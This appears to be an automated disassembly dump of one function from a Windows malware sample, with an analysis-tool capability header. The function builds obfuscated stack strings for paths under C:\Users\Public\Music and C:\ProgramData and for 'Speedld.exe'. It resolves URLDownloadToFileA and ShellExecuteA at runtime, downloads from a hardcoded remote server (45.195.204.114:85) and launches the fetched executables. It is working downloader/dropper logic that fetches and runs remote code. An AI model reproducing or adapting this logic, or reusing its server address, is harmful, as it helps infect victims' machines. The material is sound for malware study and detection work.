Function at 0x402960
Capabilities:
Contain obfuscated stackstrings
Create directory
Get file attributes

Disassembly:
mov r11, rsp
sub rsp, 0x188
mov qword [rsp + 0xb8], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov qword [r11 - 8], r12
mov qword [r11 - 0x10], r13
mov rax, qword [0x0046ea40]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov byte [r11 - 0x48], 0x43
mov byte [r11 - 0x47], 0x3a
mov byte [r11 - 0x46], 0x5c
mov byte [r11 - 0x45], 0x5c
mov byte [r11 - 0x44], 0x55
mov byte [r11 - 0x43], 0x73
mov byte [r11 - 0x42], 0x65
mov byte [r11 - 0x41], 0x72
mov byte [r11 - 0x40], 0x73
mov byte [r11 - 0x3f], 0x5c
mov byte [r11 - 0x3e], 0x5c
mov byte [r11 - 0x3d], 0x50
mov byte [r11 - 0x3c], 0x75
mov byte [r11 - 0x3b], 0x62
mov byte [r11 - 0x3a], 0x6c
mov byte [r11 - 0x39], 0x69
mov byte [r11 - 0x38], 0x63
mov byte [r11 - 0x37], 0x5c
mov byte [r11 - 0x36], 0x5c
mov byte [r11 - 0x35], 0x4d
mov byte [r11 - 0x34], 0x75
mov byte [r11 - 0x33], 0x73
mov byte [r11 - 0x32], 0x69
mov byte [r11 - 0x31], 0x63
mov byte [r11 - 0x30], 0x5c
mov byte [r11 - 0x2f], 0x5c
mov byte [r11 - 0x2e], 0x25
mov byte [r11 - 0x2d], 0x20
mov byte [r11 - 0x2c], 0x73
mov byte [r11 - 0x2b], 0x5c
mov byte [r11 - 0x2a], 0x5c
mov byte [r11 - 0x29], 0
call fcn.0040d788
mov rdx, rax
xor r13d, r13d
mov ecx, r13d
test rax, rax
setne cl
test ecx, ecx
jne 0x402a63
mov ecx, 0x80004005
call fcn.00406ba0
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x90]
call fcn.004025b0
mov rdi, rax
mov rcx, qword [rax]
cmp dword [rcx - 8], 1
jle 0x402aa0
mov edx, dword [rcx - 0x10]
mov rcx, rax
call fcn.00406520
mov rdx, qword [rdi]
mov rsi, 0xffffffffffffffff
test rdx, rdx
jne 0x402ab4
mov ecx, r13d
jmp 0x402ac5
xor eax, eax
mov rcx, rsi
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov r8d, ecx
lea rcx, [rsp + 0x48]
call fcn.004068f0
nop
mov rdx, qword [rsp + 0x90]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x402af6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
call fcn.0040d788
mov rdx, rax
mov ecx, r13d
test rax, rax
setne cl
test ecx, ecx
jne 0x402b16
mov ecx, 0x80004005
call fcn.00406ba0
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x30], rax
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.ShellExecuteA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov r8, qword [rsp + 0x48]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x30]
call fcn.00406830
xor edx, edx
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x403279
lea rcx, [rsp + 0x100]
call fcn.004027a0
nop
mov r8d, 8
lea rdx, str.999.exe
lea rcx, [rsp + 0x100]
call fcn.00404310
mov byte [rsp + 0x128], 0x2e
mov byte [rsp + 0x129], 0x65
mov byte [rsp + 0x12a], 0x78
mov byte [rsp + 0x12b], 0x65
mov byte [rsp + 0x12c], 0
mov byte [rsp + 0x130], 0x53
mov byte [rsp + 0x131], 0x70
mov byte [rsp + 0x132], 0x65
mov byte [rsp + 0x133], 0x65
mov byte [rsp + 0x134], 0x64
mov byte [rsp + 0x135], 0x6c
mov byte [rsp + 0x136], 0x64
mov byte [rsp + 0x137], 0x2e
mov byte [rsp + 0x138], 0x65
mov byte [rsp + 0x139], 0x78
mov byte [rsp + 0x13a], 0x65
mov byte [rsp + 0x13b], 0
call fcn.0040d788
mov rdx, rax
mov ecx, r13d
test rax, rax
setne cl
test ecx, ecx
jne 0x402c57
mov ecx, 0x80004005
call fcn.00406ba0
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x40], rdi
lea rdx, [0x0045a8b0]
test rdx, 0xffffffffffff0000
jne 0x402c9f
movzx ebx, dx
mov ecx, ebx
call fcn.0040d948
test rax, rax
je 0x402cc0
mov r8d, ebx
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.00405750
mov rdi, qword [rsp + 0x40]
jmp 0x402cc0
xor eax, eax
mov rcx, rsi
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8d, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.00405940
mov rdi, qword [rsp + 0x40]
call fcn.0040d788
mov r11, rax
mov ecx, r13d
test rax, rax
setne cl
test ecx, ecx
jne 0x402ce0
mov ecx, 0x80004005
call fcn.00406ba0
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x38], rbx
test rdi, rdi
je 0x402d26
test rdi, 0xffffffffffff0000
jne 0x402d26
movzx edi, di
mov ecx, edi
call fcn.0040d948
test rax, rax
je 0x402d38
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.00406350
mov rbx, qword [rsp + 0x38]
jmp 0x402d38
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.00406160
mov rbx, qword [rsp + 0x38]
mov edx, SafeArrayGetDim
mov qword [rsp + 0xf8], rdx
mov r8, r13
mov qword [rsp + 0xf0], r13
mov byte [rsp + 0xe0], r8b
xor eax, eax
mov rcx, rsi
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x402d87
call fcn.0044f5b0
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0xf0]
cmp rdx, rdi
jae 0x402da6
mov rdx, rdi
lea rcx, [rsp + 0xd8]
call fcn.00405250
mov rdx, qword [rsp + 0xf8]
jmp 0x402dd5
test rdi, rdi
jne 0x402dd5
mov qword [rsp + 0xf0], r13
lea rax, [rsp + 0xe0]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0xe0]
mov byte [rax], dil
mov rdx, qword [rsp + 0xf8]
jmp 0x402e28
test rdi, rdi
je 0x402e28
lea rcx, [rsp + 0xe0]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0xe0]
mov r9, rdi
mov r8, rbx
call fcn.00434700
mov qword [rsp + 0xf0], rdi
lea rax, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0x10
cmovae rax, qword [rsp + 0xe0]
mov byte [rax + rdi], 0
mov rdx, qword [rsp + 0xf8]
lea r8, [rsp + 0xe0]
cmp rdx, 0x10
cmovae r8, qword [rsp + 0xe0]
lea rdx, str.http:__45.195.204.114:85_index.php_id_s
lea rcx, [rsp + 0x38]
call fcn.00406830
lea rdx, [0x0045a8f0]
lea rcx, [rsp + 0x40]
call fcn.00403e60
test al, al
je 0x402ea9
mov edi, 0x64
nop
nop
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.calc
lea rdx, str.OPEN
xor ecx, ecx
call r12
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rdi, 1
jne 0x402e70
xor ecx, ecx
call fcn.00435660
int3
lea r8, str.1.dd
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xa0]
call fcn.00403a20
mov rbp, rax
mov rdi, qword [rsp + 0x38]
mov rcx, qword [rdi - 0x18]
mov rdx, qword [rcx]
call qword [rdx + 0x20]
mov rcx, rax
cmp dword [rdi - 8], 0
jl 0x402eee
cmp rax, qword [rdi - 0x18]
jne 0x402eee
lea rbx, [rdi - 0x18]
lock add dword [rdi - 8], 1
jmp 0x402f28
mov rax, qword [rax]
mov r8d, 1
mov edx, dword [rdi - 0x10]
call qword [rax]
mov rbx, rax
test rax, rax
jne 0x402f0a
call fcn.00406150
int3
mov eax, dword [rdi - 0x10]
mov dword [rbx + 8], eax
mov eax, dword [rdi - 0x10]
add eax, 1
movsxd rdx, eax
mov r8, rdi
lea rcx, [rbx + 0x18]
mov r9, rdx
call fcn.00434700
lea rdi, [rbx + 0x18]
mov qword [rsp + 0xd0], rdi
mov rbp, qword [rbp]
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.URLDownloadToFileA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbp
mov rdx, rdi
xor ecx, ecx
call rax
test eax, eax
jne 0x402f85
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
nop
lea rdx, [rdi - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x402fa1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
nop
mov rdx, qword [rsp + 0xa0]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x402fc4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x78]
mov qword [rsp + 0xb0], rdx
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa8], rax
lea rdx, str.caonima
lea rcx, [rsp + 0x78]
call fcn.00406690
mov rbp, rax
mov rdi, qword [rsp + 0x30]
mov rcx, qword [rdi - 0x18]
mov rdx, qword [rcx]
call qword [rdx + 0x20]
mov rcx, rax
cmp dword [rdi - 8], 0
jl 0x403026
cmp rax, qword [rdi - 0x18]
jne 0x403026
lea rbx, [rdi - 0x18]
lock add dword [rdi - 8], 1
jmp 0x403060
mov rax, qword [rax]
mov r8d, 1
mov edx, dword [rdi - 0x10]
call qword [rax]
mov rbx, rax
test rax, rax
jne 0x403042
call fcn.00406150
int3
mov eax, dword [rdi - 0x10]
mov dword [rbx + 8], eax
mov eax, dword [rdi - 0x10]
add eax, 1
movsxd rdx, eax
mov r8, rdi
lea rcx, [rbx + 0x18]
mov r9, rdx
call fcn.00434700
lea rax, [rbx + 0x18]
mov qword [rsp + 0x50], rax
lea r8, str.1.dd
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xc8]
call fcn.00403a20
nop
mov r8, rbp
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.00401bc0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x98]
mov qword [rsp + 0xa8], rcx
lea rax, [rsp + 0x88]
mov qword [rsp + 0xb0], rax
lea rdx, str.caonima
lea rcx, [rsp + 0x98]
call fcn.00406690
mov rbx, rax
lea rdx, str.C:ProgramData
lea rcx, [rsp + 0x88]
call fcn.00406690
mov rdi, rax
lea r8, str.1.dd
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xc0]
call fcn.00403a20
nop
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.00401bc0
nop
nop
nop
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.004038b0
nop
lea r8, [rsp + 0x128]
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.00403a20
mov rdi, rax
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.00403a20
mov rdx, qword [rdi]
mov rcx, qword [rax]
call fcn.00435710
test eax, eax
sete dil
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x403196
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x4031b7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x4031d7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
test dil, dil
je 0x403120
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.004038b0
nop
lea r8, [rsp + 0x128]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.00403a20
nop
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
lea r9, str.__hg
mov r8, qword [rax]
lea rdx, str.OPEN
xor ecx, ecx
call r12
nop
mov rdx, qword [rsp + 0x80]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x403253
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
add esi, 0xffffffff
test esi, esi
jg 0x403271
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
xor ecx, ecx
call fcn.00435660
nop
lea rdx, [rdi - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x403295
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
add esi, 0xffffffff
test esi, esi
jg 0x4032b3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.004346e0
mov rbx, qword [rsp + 0x190]
mov rbp, qword [rsp + 0x198]
mov rsi, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x1a8]
mov r12, qword [rsp + 0x180]
mov r13, qword [rsp + 0x178]
add rsp, 0x188
ret